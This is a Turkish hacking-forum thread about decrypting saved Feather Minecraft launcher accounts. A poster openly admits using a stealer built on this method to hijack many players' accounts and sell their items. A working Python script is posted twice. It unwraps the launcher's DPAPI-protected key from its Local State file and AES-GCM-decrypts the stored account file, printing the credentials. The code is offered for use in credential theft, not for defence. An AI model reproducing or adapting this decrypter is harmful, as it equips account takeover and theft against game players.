Feather Decrypt

  • Konuyu Başlatan Konuyu Başlatan hitdelay
  • Başlangıç tarihi Başlangıç tarihi
decrypter için neden 500 tl veriyorsun havadan geliyor para size heralde aq
kanka decryptor işini valla hiç anlamıyorum craftrise sonoyuncu falan hallettim ama bi şunu halledemedim aq. mecburen aldım. zamanında bu methodu kullanan bir stealer ile çok adam düşürdüm belli mc sunucularında itemlerini alıp sattım fln.
 
Kod:
import os
import json
import base64
import win32crypt
from Crypto.Cipher import AES

def decrypt_dpapi(encrypted_data):
    if encrypted_data.startswith(b'DPAPI'):
        encrypted_data = encrypted_data[5:]
    return win32crypt.CryptUnprotectData(encrypted_data, None, None, None, 0)[1]

def decrypt_aes_gcm(key, encrypted_data):
    if not encrypted_data.startswith(b'v10'):
        raise ValueError("Geçersiz format")
   
    nonce = encrypted_data[3:15]
    tag = encrypted_data[-16:]
    ciphertext = encrypted_data[15:-16]
   
    cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    return cipher.decrypt_and_verify(ciphertext, tag)

def main():
    user_profile = os.environ['USERPROFILE']
    local_state_path = os.path.join(user_profile, "AppData", "Roaming", "Feather Launcher", "Local State")
    account_path = os.path.join(user_profile, "AppData", "Roaming", ".feather", "account.txt")

    with open(local_state_path, 'r', encoding='utf-8') as f:
        local_state = json.load(f)
        encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
       
    aes_key = decrypt_dpapi(encrypted_key)
   
    with open(account_path, 'rb') as f:
        encrypted_account = f.read()
       
    decrypted_account = decrypt_aes_gcm(aes_key, encrypted_account)
   
    print("Başarılı:")
    print(decrypted_account.decode('utf-8'))

if __name__ == "__main__":
    main()
/CODE]
 
Kod:
import os
import json
import base64
import win32crypt
from Crypto.Cipher import AES

def decrypt_dpapi(encrypted_data):
    if encrypted_data.startswith(b'DPAPI'):
        encrypted_data = encrypted_data[5:]
    return win32crypt.CryptUnprotectData(encrypted_data, None, None, None, 0)[1]

def decrypt_aes_gcm(key, encrypted_data):
    if not encrypted_data.startswith(b'v10'):
        raise ValueError("Geçersiz format")
  
    nonce = encrypted_data[3:15]
    tag = encrypted_data[-16:]
    ciphertext = encrypted_data[15:-16]
  
    cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    return cipher.decrypt_and_verify(ciphertext, tag)

def main():
    user_profile = os.environ['USERPROFILE']
    local_state_path = os.path.join(user_profile, "AppData", "Roaming", "Feather Launcher", "Local State")
    account_path = os.path.join(user_profile, "AppData", "Roaming", ".feather", "account.txt")

    with open(local_state_path, 'r', encoding='utf-8') as f:
        local_state = json.load(f)
        encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
      
    aes_key = decrypt_dpapi(encrypted_key)
  
    with open(account_path, 'rb') as f:
        encrypted_account = f.read()
      
    decrypted_account = decrypt_aes_gcm(aes_key, encrypted_account)
  
    print("Başarılı:")
    print(decrypted_account.decode('utf-8'))

if __name__ == "__main__":
    main()
/CODE]
benim yaptığım değil mi bu
 

Şuanda konuyu görüntüleyen kullanıcılar

Geri
Üst Alt